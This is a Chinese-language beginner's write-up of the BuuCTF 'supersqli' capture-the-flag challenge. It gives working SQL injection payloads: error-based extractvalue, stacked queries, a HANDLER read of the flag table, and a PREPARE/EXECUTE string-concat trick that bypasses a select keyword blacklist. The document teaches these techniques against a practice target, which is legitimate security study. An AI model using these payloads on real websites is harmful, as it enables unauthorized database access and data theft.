BuuCTF supersqli 小白体验

这题 头发 -n

本文记录我啃一道初级ctf题目的过程。这篇文章算半实况吧因为前半部分是一个月前就写出来了的。但当时太菜了啥都不会做不出来所以一个月后今天又回来挑战来了。
靶机来源:https://buuoj.cn/

初始:

image-20200317160429840

先点了提交看看,页面变化:

image-20200317160443611

没记错的话这应该是php一个输出内容的功能吧,看出查询结果是一个数组。

该干什么?

随便输个符号,有报错

image-20200317160626148

写了个不完整的联合查询,输出:

image-20200317160721607

可以看出来,黑名单,拦截了常用关键字。

emmm,应该好像可以确定要用报错注入了?

不对,报错注入最后也得用select,或许第一步是怎么绕过黑名单。而且这个还是正则匹配,不像那种字符串删除的或者什么其他方式有的绕,好像那个/i还是case ignore。怎么整。

接下来这段时间我做了如下折腾:

零字节截断——截断了,但是真的截断了。

退格字符——没用,算控制字符进去了,其他的特殊字符也都是控制字符。、

其他各种双写也好注释也好编码也好都没有效果。

投降百度了一下牛皮点的select绕过方法,有个函数连接的好像挺给力。

总之先报出库名吧:-1’+and+extractvalue(1%2Cconcat(0x7e%2C(database())%2C0x7e))%3B+%23#

image-20200317221916084

库名supersqli。

百度看了一下堆叠注入,通过分号隔离语句进行多条执行。于是做了个经典尝试:1’;show tables;#

image-20200318143212184

(察觉)

惊了。通过这种方式可以查出表的话,那就还可以查出表结构:

-1’;desc words;#

image-20200318143404825

从结构可以看出来就是正常查询的那张表。

但是接下来这个:1’;desc 1919810931114514;# 什么都没有返回。

感觉是纯数字表名的问题,查资料改正后:1’;desc `1919810931114514`;# 成功查询

image-20200318144255484

是目标了。可接下来有什么能代替select的方法查到flag吗。

https://dev.mysql.com/doc/refman/5.7/en/handler.html

正中下怀!

payload:

-1’; handler `1919810931114514` open as aaa;handler aaa read first#

image-20200318145741922

妙啊。

事后

随后翻看了writeup,看到write up讲了两种方法,都用到了堆叠注入,其中一个在使用show查出表结构之后,直接将有flag的表改名成了words表,也就是人家原本正常查询的表。。从而获得了flag,这是真骚操作。。

然后大佬还写了更骚的:

';use supersqli;set @sql=concat('s','elect `flag` from `1919810931114514`');PREPARE stmt1 FROM @sql;EXECUTE stmt1;--+

因为没理解,所以百度了里面一些关键字,得知这是利用数据库的储存过程实现的拼接语句注入方式。

其中set @sql是声明了一个名为sql的变量,值是拼接字符串 ,拼出来就是select flag from `1919810931114514`

而PREPARE 是预处理语句,语法:

PREPARE \<预处理名\> from <定义好的sql语句>;

原本是可以参数化sql语句来防止注入的,现在被大佬用于注入了。

最后一句EXECUTE <定义好的预处理>执行。